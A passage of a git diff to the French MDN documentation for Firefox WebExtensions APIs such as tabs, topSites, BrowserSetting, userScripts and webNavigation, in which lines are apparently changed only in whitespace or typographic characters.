`incognito` - : `boolean`. Si l'onglet est dans une fenêtre de navigation privée. - `index` @@ -70,7 +70,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `selected` {{deprecated_inline}} - : `boolean`. Si l'onglet est sélectionné. Cette propriété a été remplacée par `active` et `highlighted`. - `sessionId` {{optional_inline}} - - : `string`. L'identifiant de session utilisé pour identifier de façon unique un `onglet` obtenu à partir de l'API {{WebExtAPIRef('sessions')}}. + - : `string`. L'identifiant de session utilisé pour identifier de façon unique un `onglet` obtenu à partir de l'API {{WebExtAPIRef('sessions')}}. - `status` {{optional_inline}} - : `string`. Soit _charger_ ou _compléter_. - `successorId` {{optional_inline}} @@ -78,7 +78,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `title` {{optional_inline}} - : `string`. Le titre de l'onglet. Seulement présent si l'extension à la [permission](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) `"tabs".` - `url` {{optional_inline}} - - : `string`. L'URL du document que l'onglet affiche. Seulement présent si l'extension à la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `"tabs"`. + - : `string`. L'URL du document que l'onglet affiche. Seulement présent si l'extension à la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `"tabs"`. - `width` {{optional_inline}} - : `integer`. La largeur de l'onglet en pixels - `windowId` diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/togglereadermode/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/togglereadermode/index.md index a858679aad..1e1a32f23d 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/togglereadermode/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/togglereadermode/index.md @@ -27,7 +27,7 @@ Le mode Lecteur, également connu sous le nom de Reader View, est une fonction d Le mode Lecteur est utile spécifiquement pour les articles: c'est-à-dire, les pages qui ont un corps de texte comme caractéristique principale. Les pages qui n'ont pas d'article identifiable ne peuvent pas être affichées en mode Lecteur. Pour savoir si une page est un article, vérifiez la propriété `isArticle` de {{WebExtAPIRef("tabs.Tab")}}. -Pour savoir si un onglet est déjà en mode Lecteur, vérifiez la propriété `isInReaderMode` de {{WebExtAPIRef("tabs.Tab")}}. Pour suivre les onglets entrant ou sortant du mode Lecteur, vous devez suivre l'état actuel de tous les onglets et vérifier quand `isInReaderMode` change : +Pour savoir si un onglet est déjà en mode Lecteur, vérifiez la propriété `isInReaderMode` de {{WebExtAPIRef("tabs.Tab")}}. Pour suivre les onglets entrant ou sortant du mode Lecteur, vous devez suivre l'état actuel de tous les onglets et vérifier quand `isInReaderMode` change : ```js function handleUpdated(tabId, changeInfo, tabInfo) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/update/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/update/index.md index 4f5cffe7e2..d7e5478474 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/update/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/update/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/update Parcourez l'onglet vers une nouvelle URL ou modifiez d'autres propriétés de l'onglet. -Pour utiliser cette fonction, transmettez l'ID de l'onglet à mettre à jour et un objet `updateProperties` contenant les propriétés que vous souhaitez mettre à jour. Les propriétés qui ne sont pas spécifiées dans `updateProperties` ne sont pas modifiées. +Pour utiliser cette fonction, transmettez l'ID de l'onglet à mettre à jour et un objet `updateProperties` contenant les propriétés que vous souhaitez mettre à jour. Les propriétés qui ne sont pas spécifiées dans `updateProperties` ne sont pas modifiées. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). @@ -36,10 +36,10 @@ var updating = browser.tabs.update( - : `integer`. Par défaut à l'onglet sélectionné de la fenêtre en cours. - `updateProperties` - - : `object`. L'ensemble des propriétés à mettre à jour pour cet onglet. Pour en savoir plus sur ces propriétés, consultez la documentation {{WebExtAPIRef("tabs.Tab")}}. + - : `object`. L'ensemble des propriétés à mettre à jour pour cet onglet. Pour en savoir plus sur ces propriétés, consultez la documentation {{WebExtAPIRef("tabs.Tab")}}. - `active`{{optional_inline}} - - : `boolean`. Si l'onglet doit devenir actif. Ne modifie pas le focus de la fenêtre (voir {{WebExtAPIRef('windows.update')}}). Si `true`, les onglets surlignés non actifs cesseront d'être surlignés. Si `false`, ne fait rien. + - : `boolean`. Si l'onglet doit devenir actif. Ne modifie pas le focus de la fenêtre (voir {{WebExtAPIRef('windows.update')}}). Si `true`, les onglets surlignés non actifs cesseront d'être surlignés. Si `false`, ne fait rien. - `autoDiscardable`{{optional_inline}} - : `boolean`. Si l'onglet doit être supprimé automatiquement par le navigateur lorsque les ressources sont faibles. - `highlighted`{{optional_inline}} @@ -82,7 +82,7 @@ var updating = browser.tabs.update( ### Valeur retournée -A [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef('tabs.Tab')}} contenant des détails sur l'onglet mis à jour. L'objet {{WebExtAPIRef('tabs.Tab')}} ne contient pas d' `url`, `title` et `favIconUrl` sauf si la permission `"tabs"` a été demandée. Si l'onglet n'a pas pu être trouvé ou qu'une autre erreur se produit, la promesse sera rejetée avec un message d'erreur. +A [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef('tabs.Tab')}} contenant des détails sur l'onglet mis à jour. L'objet {{WebExtAPIRef('tabs.Tab')}} ne contient pas d' `url`, `title` et `favIconUrl` sauf si la permission `"tabs"` a été demandée. Si l'onglet n'a pas pu être trouvé ou qu'une autre erreur se produit, la promesse sera rejetée avec un message d'erreur. ## Exemples diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/zoomsettings/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/zoomsettings/index.md index 9ac9f3c5a0..cabeae562a 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/zoomsettings/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/zoomsettings/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/ZoomSettings --- {{AddonSidebar()}} -Définit les paramètres de zoom pour un onglet : {{WebExtAPIRef("tabs.ZoomSettingsMode", "mode")}}, {{WebExtAPIRef("tabs.ZoomSettingsScope", "scope")}}, et le facteur de zoom par défaut. +Définit les paramètres de zoom pour un onglet : {{WebExtAPIRef("tabs.ZoomSettingsMode", "mode")}}, {{WebExtAPIRef("tabs.ZoomSettingsScope", "scope")}}, et le facteur de zoom par défaut. ## Type diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/zoomsettingsscope/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/zoomsettingsscope/index.md index 9ec0f5db0a..4900f8fb74 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/zoomsettingsscope/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/zoomsettingsscope/index.md @@ -15,16 +15,16 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/ZoomSettingsScope --- {{AddonSidebar()}} -Définit si les changements de zoom persisteront pour l'origine de la page ou ne prendront effet que dans cet onglet. La valeur par défaut est à `per-origin` lorsque {{WebExtAPIRef("tabs.zoomSettingsMode")}} est "automatique", et est toujours `per-tab`. +Définit si les changements de zoom persisteront pour l'origine de la page ou ne prendront effet que dans cet onglet. La valeur par défaut est à `per-origin` lorsque {{WebExtAPIRef("tabs.zoomSettingsMode")}} est "automatique", et est toujours `per-tab`. ## Type Les valeurs de ce type sont des chaînes. Les valeurs possibles sont : - "per-origin" - - : Tous les autres onglets ayant la même origine que cet onglet auront les changements de zoom qui leur sont appliqués. Cette étendue n'est disponible que si if {{WebExtAPIRef("tabs.zoomSettingsMode")}} est "automatique". + - : Tous les autres onglets ayant la même origine que cet onglet auront les changements de zoom qui leur sont appliqués. Cette étendue n'est disponible que si if {{WebExtAPIRef("tabs.zoomSettingsMode")}} est "automatique". - "per-tab" - - : Les changements de zoom ne prennent effet que dans cet onglet et les changements de zoom dans les autres onglets n'affectent pas le zoom de cet onglet. De plus, les changements de zoom `per-tab` ont réinitialisés lors de la navigation ; la navigation dans un onglet charge toujours les pages avec `per-origin` de zoom d'origine. + - : Les changements de zoom ne prennent effet que dans cet onglet et les changements de zoom dans les autres onglets n'affectent pas le zoom de cet onglet. De plus, les changements de zoom `per-tab` ont réinitialisés lors de la navigation ; la navigation dans un onglet charge toujours les pages avec `per-origin` de zoom d'origine. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/theme/onupdated/index.md b/files/fr/mozilla/add-ons/webextensions/api/theme/onupdated/index.md index d6c404734e..25747c33e0 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/theme/onupdated/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/theme/onupdated/index.md @@ -34,7 +34,7 @@ Les événements ont trois fonctions : - `removeListener(listener)` - : Arrête d'écouter cet événement. L'argument de `listener` est l'écouteur à supprimer. - `hasListener(listener)` - - : Vérifie si `listener` est enregistré pour cet événement. Retourne `true` s'il écoute, sinon `false`. + - : Vérifie si `listener` est enregistré pour cet événement. Retourne `true` s'il écoute, sinon `false`. ## Syntaxe addListener diff --git a/files/fr/mozilla/add-ons/webextensions/api/topsites/get/index.md b/files/fr/mozilla/add-ons/webextensions/api/topsites/get/index.md index a173e84acd..59bcc18b1b 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/topsites/get/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/topsites/get/index.md @@ -44,12 +44,12 @@ var gettingTopSites = browser.topSites.get() - `includeBlocked` {{optional_inline}} - : `Boolean`. Inclure les pages que l'utilisateur a supprimées de la page "Nouvel onglet". La valeur par défaut est `false`. - `includeFavicon` {{optional_inline}} - - : `Boolean`. Inclure les favicons dans les résultats, pour les pages où ils sont disponibles. La valeur par défaut est `false`. + - : `Boolean`. Inclure les favicons dans les résultats, pour les pages où ils sont disponibles. La valeur par défaut est `false`. - `includePinned` {{optional_inline}} - : `Boolean`. inclure les sites que l'utilisateur a épinglés dans le nouvel onglet Firefox. Par défaut à `false`. - `includeSearchShortcuts` {{optional_inline}} - - : `Boolean`. Inclut les raccourcis de recherche qui apparaissent dans le nouvel onglet Firefox. + - : `Boolean`. Inclut les raccourcis de recherche qui apparaissent dans le nouvel onglet Firefox. Par défaut à `false`. - `limit` {{optional_inline}} - : `Integer`. Le nombre de pages à retourner. Ce chiffre doit être compris entre 1 et 100 inclusivement. La valeur par défaut est 12. @@ -58,7 +58,7 @@ var gettingTopSites = browser.topSites.get() ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). Ceci sera réalisé avec un tableau d'objets {{WebExtAPIRef("topSites.MostVisitedURL", "MostVisitedURL")}}, un pour chaque site listé dans la page "Nouvel onglet" du navigateur. Si une erreur se produit, la presse sera rejetée avec un message d'erreur. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). Ceci sera réalisé avec un tableau d'objets {{WebExtAPIRef("topSites.MostVisitedURL", "MostVisitedURL")}}, un pour chaque site listé dans la page "Nouvel onglet" du navigateur. Si une erreur se produit, la presse sera rejetée avec un message d'erreur. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/topsites/index.md b/files/fr/mozilla/add-ons/webextensions/api/topsites/index.md index 21c02f626f..c914c9082e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/topsites/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/topsites/index.md @@ -14,7 +14,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/topSites --- {{AddonSidebar}} -Utilisez l'API topSites pour obtenir un tableau contenant les pages que l'utilisateur a visitées fréquemment. +Utilisez l'API topSites pour obtenir un tableau contenant les pages que l'utilisateur a visitées fréquemment. Les navigateurs maintiennent ceci pour aider l'utilisateur à retourner à ces endroits facilement. Par exemple, Firefox fournit par défaut une liste des pages les plus visitées dans la page "Nouvel onglet". diff --git a/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/clear/index.md b/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/clear/index.md index b62028504f..5c3e1d443a 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/clear/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/clear/index.md @@ -43,7 +43,7 @@ Voir {{WebExtAPIRef("types.BrowserSetting")}}. ## Exemple -Effacer le paramètre `webRTCIPHandlingPolicy` : +Effacer le paramètre `webRTCIPHandlingPolicy` : ```js function onCleared(result) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/get/index.md b/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/get/index.md index 59b6f046b1..2d3f12831e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/get/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/get/index.md @@ -14,7 +14,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/types/BrowserSetting/get --- {{AddonSidebar()}} -La méthode `BrowserSetting.get()` obtient la valeur actuelle du paramètre du navigateur et une énumération indiquant comment la valeur du paramètre est actuellement controléee.. +La méthode `BrowserSetting.get()` obtient la valeur actuelle du paramètre du navigateur et une énumération indiquant comment la valeur du paramètre est actuellement controléee.. Il s'agit d'une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/index.md b/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/index.md index 59787ee837..2e50e40550 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/index.md @@ -18,7 +18,7 @@ Un `BrowserSetting` est un objet représentant un paramètre de navigateur. Il fournit des méthodes pour définir et obtenir la valeur sous-jacente du paramètre, pour effacer tout changement que vous avez apporté et pour écouter les modifications apportées à sa valeur. -Notez que si cet objet est basé sur le type [ChromeSetting](https://developer.chrome.com/extensions/types#type-ChromeSetting), cet objet ne fait pas de distinction entre le réglage de la valeur dans les fenêtres de navigation privées. Cela signifie que toutes les parties de l'API relatives à la navigation privée (telles que l'option `scope` de `ChromeSetting.set()`) ne sont pas implémentées. +Notez que si cet objet est basé sur le type [ChromeSetting](https://developer.chrome.com/extensions/types#type-ChromeSetting), cet objet ne fait pas de distinction entre le réglage de la valeur dans les fenêtres de navigation privées. Cela signifie que toutes les parties de l'API relatives à la navigation privée (telles que l'option `scope` de `ChromeSetting.set()`) ne sont pas implémentées. ## Méthodes diff --git a/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/set/index.md b/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/set/index.md index 7bd801375f..1491d7dd60 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/set/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/types/browsersetting/set/index.md @@ -25,12 +25,12 @@ Cela signifie que si l'extension X essaie de modifier un paramètre : 1. Si le réglage est verrouillé, le réglage n'est pas modifié. Cependant, le changement de X est rappelé, et il est stocké dans une file d'attente, commandé par la priorité de X par rapport à toutes les autres extensions qui ont essayé de modifier le paramètre. Si le réglage devient déverrouillé plus tard, la première extension de la file d'attente permet de modifier le réglage. 2. Sinon, si aucune autre extension n'a déjà changé le paramètre, X réussit à modifier le réglage, puis on dit "contrôler" le réglage. -3. Sinon, si une extension de priorité inférieure Y a déjà changé le paramètre, X réussit à modifier le réglage et maintenant le réglage. However, Y's change is remembered, and is stored in a queue in precedence order. Cependant, le changement de Y est rappelé et est stocké dans une file d'attente dans l'ordre de priorité. Si X efface ensuite sa valeur, ou si X est désactivé ou désinstallé, la première extension de la file d'attente permet de modifier sa valeur. +3. Sinon, si une extension de priorité inférieure Y a déjà changé le paramètre, X réussit à modifier le réglage et maintenant le réglage. However, Y's change is remembered, and is stored in a queue in precedence order. Cependant, le changement de Y est rappelé et est stocké dans une file d'attente dans l'ordre de priorité. Si X efface ensuite sa valeur, ou si X est désactivé ou désinstallé, la première extension de la file d'attente permet de modifier sa valeur. 4. Sinon, si une extension de priorité supérieure Z a déjà changé le paramètre, X ne réussit pas à modifier le paramètre, mais sa modification est mise en file d'attente. Si Z efface ensuite sa valeur, ou si Z est désactivé ou désinstallé, la première extension de la file d'attente permet de modifier sa valeur. Une extension peut déterminer lequel de ces scénarios s'applique en examinant la propriété "`levelOfControl`" renvoyée d'un appel à [`BrowserSetting.get()`](/fr/Add-ons/WebExtensions/API/privacy/BrowserSetting/get). -la méthode [`BrowserSetting.set()`](/fr/Add-ons/WebExtensions/API/privacy/BrowserSetting/set) renvoie une promesse qui résout un booléen : Si une tentative de modification d'un paramètre aboutit à la modification du paramètre (scenarios 2 et 3 ci-dessus) le booléen est `true`: sinon il est `false`. +la méthode [`BrowserSetting.set()`](/fr/Add-ons/WebExtensions/API/privacy/BrowserSetting/set) renvoie une promesse qui résout un booléen : Si une tentative de modification d'un paramètre aboutit à la modification du paramètre (scenarios 2 et 3 ci-dessus) le booléen est `true`: sinon il est `false`. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/userscripts/index.md b/files/fr/mozilla/add-ons/webextensions/api/userscripts/index.md index 1a9432e314..8d145251fe 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/userscripts/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/userscripts/index.md @@ -24,14 +24,14 @@ Cette API offre des capacités similaires à {{WebExtAPIRef("contentScripts")}} > **Attention :** Cette API requiert la présence de la clé [`user_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/user_scripts) dans le manifest.json, même si aucun script API n'est spécifié. Par exemple, `user_scripts: {}`. -Pour utiliser l'API, appelez `{{WebExtAPIRef("userScripts.register","register()")}}` en passant un objet définissant les scripts à enregistrer. La méthode renvoie une promesse qui est résolue par un objet `{{WebExtAPIRef("userScripts.RegisteredUserScript","RegisteredUserScript")}}`. +Pour utiliser l'API, appelez `{{WebExtAPIRef("userScripts.register","register()")}}` en passant un objet définissant les scripts à enregistrer. La méthode renvoie une promesse qui est résolue par un objet `{{WebExtAPIRef("userScripts.RegisteredUserScript","RegisteredUserScript")}}`. > **Note :** Les scripts utilisateur sont désenregistrés lorsque la page d'extension correspondante (à partir de laquelle les scripts utilisateur ont été enregistrés) est déchargée, vous devez donc enregistrer un script utilisateur depuis une page d'extension qui persiste au moins aussi longtemps que vous voulez que les scripts utilisateur restent enregistrés ## Types - {{WebExtAPIRef("userScripts.RegisteredUserScript")}} - - : L'`object` renvoyé par la méthode {{WebExtAPIRef("userScripts.register","register()")}}. Il représente les scripts utilisateur enregistrés et est utilisé pour désenregistrer les scripts utilisateur. + - : L'`object` renvoyé par la méthode {{WebExtAPIRef("userScripts.register","register()")}}. Il représente les scripts utilisateur enregistrés et est utilisé pour désenregistrer les scripts utilisateur. ## Méthodes diff --git a/files/fr/mozilla/add-ons/webextensions/api/userscripts/onbeforescript/index.md b/files/fr/mozilla/add-ons/webextensions/api/userscripts/onbeforescript/index.md index 4b1e284d5a..8f2fc73dbb 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/userscripts/onbeforescript/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/userscripts/onbeforescript/index.md @@ -27,7 +27,7 @@ L'événement `beforeScript` se déclenche juste avant l'exécution d'un script ### Value -`functionRef` est la function de gestionnaire à appeler lorsque l'événement `beforeScript` du script utilisateur se déclenche. +`functionRef` est la function de gestionnaire à appeler lorsque l'événement `beforeScript` du script utilisateur se déclenche. ## Exemples diff --git a/files/fr/mozilla/add-ons/webextensions/api/userscripts/register/index.md b/files/fr/mozilla/add-ons/webextensions/api/userscripts/register/index.md index 59496030d3..4046a975ac 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/userscripts/register/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/userscripts/register/index.md @@ -13,7 +13,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/userScripts/register --- {{AddonSidebar}} -Dans les pages d'une extension (comme la page d'arrière plan), l'API userScripts fournit une méthode API {{WebExtAPIRef("userScripts.register","register()")}}. Cette méthode est très similaire à la méthode API {{WebExtAPIRef("contentScripts.register","contentScripts.register()")}} (par exemple, ils retournent tous les deux une promise qui est résolue à un objet API qui fournit un {{WebExtAPIRef("userScripts.RegisteredUserScript.unregister","unregister()")}} pour la désinscription du script enregistré de tous les processus enfants), avec quelques différences dans les options prises en charge. +Dans les pages d'une extension (comme la page d'arrière plan), l'API userScripts fournit une méthode API {{WebExtAPIRef("userScripts.register","register()")}}. Cette méthode est très similaire à la méthode API {{WebExtAPIRef("contentScripts.register","contentScripts.register()")}} (par exemple, ils retournent tous les deux une promise qui est résolue à un objet API qui fournit un {{WebExtAPIRef("userScripts.RegisteredUserScript.unregister","unregister()")}} pour la désinscription du script enregistré de tous les processus enfants), avec quelques différences dans les options prises en charge. C'est une méthode asynchrone qui retourne un {{JSxRef("Promise")}}. @@ -50,15 +50,15 @@ await registeredUserScript.unregister(); - `matchAboutBlank` {{Optional_Inline}} - : Identique à `match_about_blank` dans la clé [`user_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/user_scripts). - `matches` - - : Identique à `matches` dans la clé [`user_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/user_scripts). + - : Identique à `matches` dans la clé [`user_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/user_scripts). - `runAt` {{Optional_Inline}} - - : Identique à`run_at` dans la clé [`user_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/user_scripts). + - : Identique à`run_at` dans la clé [`user_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/user_scripts). Contrairement aux options de script de contenu, l'objet userScriptOptions n'a pas de propriété css. Utilisez {{WebExtAPIRef("contentScripts.register","contentScripts.register()")}} pour enregistrer/désenregistrer dynamiquement les feuilles de style). ### Valeur retournée -Une {{JSxRef("Promise")}} qui sera rempli avec un objet {{WebExtAPIRef("userScripts.RegisteredUserScript","RegisteredUserScript")}} que vous pouvez utiliser pour désinscrire ce script utilisateur particulier. +Une {{JSxRef("Promise")}} qui sera rempli avec un objet {{WebExtAPIRef("userScripts.RegisteredUserScript","RegisteredUserScript")}} que vous pouvez utiliser pour désinscrire ce script utilisateur particulier. > **Note :** Actuellement, les scripts utilisateur sont désenregistrés lorsque la page d'extension correspondante (à partir de laquelle les scripts utilisateur ont été enregistrés) est déchargée, vous devez donc enregistrer un script utilisateur depuis une page d'extension qui persiste au moins aussi longtemps que vous voulez que les scripts utilisateur restent enregistrés. diff --git a/files/fr/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/unregister/index.md b/files/fr/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/unregister/index.md index b3a69c7c42..d0241d6fc3 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/unregister/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/userscripts/registereduserscript/unregister/index.md @@ -13,7 +13,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/userScripts/RegisteredUserScri --- {{AddonSidebar}} -La méthode `unregister()` de l'interface {{WebExtAPIRef("userScripts.RegisteredUserScript","RegisteredUserScript")}} désenregistre le script utilisateur représenté par cette instance d'interface et précédemment enregistré via {{WebExtAPIRef("userScripts.register","userScripts.register()")}}. +La méthode `unregister()` de l'interface {{WebExtAPIRef("userScripts.RegisteredUserScript","RegisteredUserScript")}} désenregistre le script utilisateur représenté par cette instance d'interface et précédemment enregistré via {{WebExtAPIRef("userScripts.register","userScripts.register()")}}. > **Note :** Les scripts utilisateur sont automatiquement désenregistrés lorsque la page d'extension correspondante (à partir de laquelle les scripts utilisateur ont été enregistrés) est déchargée, vous devez donc enregistrer un script utilisateur depuis une page d'extension qui persiste au moins aussi longtemps que vous voulez que les scripts utilisateur restent enregistrés.. diff --git a/files/fr/mozilla/add-ons/webextensions/api/userscripts/userscriptoptions/index.md b/files/fr/mozilla/add-ons/webextensions/api/userscripts/userscriptoptions/index.md index c73128dc6a..d3047fec3e 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/userscripts/userscriptoptions/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/userscripts/userscriptoptions/index.md @@ -29,7 +29,7 @@ L'objet UserScriptOptions a les propriétés suivantes : - `excludeMatches`{{optional_inline}} - : Même chose que `exclude_matches` dans la clé [`content_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts). - `includeGlobs`{{optional_inline}} - - : Même chose que `include_globs` dans la clé [`content_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts). + - : Même chose que `include_globs` dans la clé [`content_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts). - `js`{{optional_inline}} - : Un ensemble d'objets. Chaque objet a soit une propriété nommée `file`, qui est une URL commençant à l'extension manifest.json et pointant vers un fichier JavaScript à enregistrer, soit une propriété nommée `code`, qui est un code JavaScript à enregistrer. - `matchAboutBlank`{{optional_inline}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/userscripts/working_with_userscripts/index.md b/files/fr/mozilla/add-ons/webextensions/api/userscripts/working_with_userscripts/index.md index db86b92a39..17d3ca7dba 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/userscripts/working_with_userscripts/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/userscripts/working_with_userscripts/index.md @@ -22,7 +22,7 @@ Implémentez userScripts dans votre extension en suivant les étapes suivantes : 2. Enregistrer le userScript 3. Implémenter les fonctions userScript -Passons en revue les processus à l'aide d'un petit exemple d'extension Web qui illustre le processus. L'exemple est disponible dans le dépôt [webextensions-examples](https://github.com/mdn/webextensions-examples) sur GitHub. +Passons en revue les processus à l'aide d'un petit exemple d'extension Web qui illustre le processus. L'exemple est disponible dans le dépôt [webextensions-examples](https://github.com/mdn/webextensions-examples) sur GitHub. ## Manifest userScripts @@ -38,7 +38,7 @@ La propriété "api_script" indique le chemin d'accès au fichier JavaScript qui ## Charge l'extension d'exemple -Une fois que vous avez téléchargé l'exemple : +Une fois que vous avez téléchargé l'exemple : Naviguez jusqu'à about:debugging, cliquez sur **Charger temporairement une extension...** et double-cliquez sur le manifest des extensions. @@ -52,7 +52,7 @@ Rien ne se passera tant que vous n'aurez pas cliqué sur le bouton **Enregistrer ## Register the userScript -Avant qu'un userScript puisse être exécuté, il doit être enregistré en utilisant la méthode `userScripts.register()`. Voici le code pour enregistrer l'extension d'exemple : +Avant qu'un userScript puisse être exécuté, il doit être enregistré en utilisant la méthode `userScripts.register()`. Voici le code pour enregistrer l'extension d'exemple : ```js async function registerScript() { @@ -101,7 +101,7 @@ async function registerScript() { } ``` -Ce code initialise d'abord l'objet params pour passer les valeurs à la méthode [userScripts.register](/fr/docs/Mozilla/Add-ons/WebExtensions/API/userScripts/register). +Ce code initialise d'abord l'objet params pour passer les valeurs à la méthode [userScripts.register](/fr/docs/Mozilla/Add-ons/WebExtensions/API/userScripts/register). ## Implementer les fonctions userScript diff --git a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/getframe/index.md b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/getframe/index.md index a2bc25de1c..9d0bb4d373 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/getframe/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/getframe/index.md @@ -47,7 +47,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) qui se - `errorOccurred` - : `boolean`. Vrai si la dernière navigation dans cette trame a été interrompue par une erreur, c'est-à-dire l'événement {{WebExtAPIRef("webNavigation.onErrorOccurred", "onErrorOccurred")}} déclenché. - `url` - - : `string`. L'URL actuellement associée à cette trame, si la trame identifiée par `frameId` existait à un point de l'onglet identifié par `tabId`. Le fait qu'une URL soit associée à un `frameId` donné n'implique pas que la trame correspondante existe toujours. + - : `string`. L'URL actuellement associée à cette trame, si la trame identifiée par `frameId` existait à un point de l'onglet identifié par `tabId`. Le fait qu'une URL soit associée à un `frameId` donné n'implique pas que la trame correspondante existe toujours. - `parentFrameId` - : `integer`. ID du parent de cette image. C'est -1 s'il n'y a pas de cadre parent: c'est-à-dire si ce cadre est le contexte de navigation de niveau supérieur dans l'onglet. diff --git a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/index.md b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/index.md index a188bd08e6..c74c995772 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webnavigation/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webnavigation/index.md @@ -16,9 +16,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webNavigation Ajouter des écouteurs d'événement pour les différentes étapes d'une navigation. Une navigation se compose d'un cadre dans le navigateur passant d'une URL à l'autre, généralement (mais pas toujours) en réponse à une action de l'utilisateur comme cliquer sur un lien ou entrer une URL dans la barre d'adresse. -Comparable à l'API {{WebExtAPIRef("webRequest")}}: Les navigations entrainent le navigateur à faire des requetes web, mais l'API webRequest travaille au niveau inférieur de la couche HTTP, contrairement à l'API webNavigation qui travaille directement au niveau de l'interface utilisateur du navigateur elle-même. +Comparable à l'API {{WebExtAPIRef("webRequest")}}: Les navigations entrainent le navigateur à faire des requetes web, mais l'API webRequest travaille au niveau inférieur de la couche HTTP, contrairement à l'API webNavigation qui travaille 